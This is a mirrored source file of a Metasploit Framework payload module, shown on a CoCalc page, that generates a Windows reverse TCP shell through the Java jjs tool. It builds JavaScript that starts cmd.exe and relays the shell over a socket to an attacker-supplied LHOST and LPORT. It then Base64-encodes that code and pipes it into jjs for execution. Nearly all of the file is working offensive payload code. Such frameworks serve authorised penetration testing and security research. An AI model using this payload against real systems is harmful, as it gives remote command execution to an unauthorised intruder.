CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 867
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Windows Shell, Reverse TCP (via jjs)',
17
'Description' => 'Connect back and create a command shell via jjs',
18
'Author' => [
19
'conerpirate', # jjs reverse shell
20
'bcoles' # metasploit
21
],
22
'References' => [
23
['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],
24
['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],
25
['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html']
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => 'win',
29
'Arch' => ARCH_CMD,
30
'Handler' => Msf::Handler::ReverseTcp,
31
'Session' => Msf::Sessions::CommandShell,
32
'PayloadType' => 'cmd',
33
'RequiredCmd' => 'jjs',
34
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
35
)
36
)
37
register_options([
38
OptString.new('SHELL', [ true, 'The shell to execute.', 'cmd.exe' ]),
39
OptString.new('JJS_PATH', [true, 'The path to the JJS executable', 'jjs.exe'])
40
])
41
end
42
43
def generate
44
return super + command_string
45
end
46
47
def command_string
48
lhost = datastore['LHOST']
49
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
50
51
jcode = %{
52
var ProcessBuilder=Java.type("java.lang.ProcessBuilder");
53
var p=new ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();
54
var ss=Java.type("java.net.Socket");
55
var s=new ss("#{lhost}",#{datastore['LPORT']});
56
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
57
var po=p.getOutputStream(),so=s.getOutputStream();
58
while(!s.isClosed()){
59
while(pi.available()>0)so.write(pi.read());
60
while(pe.available()>0)so.write(pe.read());
61
while(si.available()>0)po.write(si.read());
62
so.flush();
63
po.flush();
64
Java.type("java.lang.Thread").sleep(50);
65
try{p.exitValue();break;}catch(e){}
66
};
67
p.destroy();s.close();
68
}
69
minified = jcode.split("\n").map(&:lstrip).join
70
71
%{echo eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}'))); | #{datastore['JJS_PATH']}}
72
end
73
end
74
75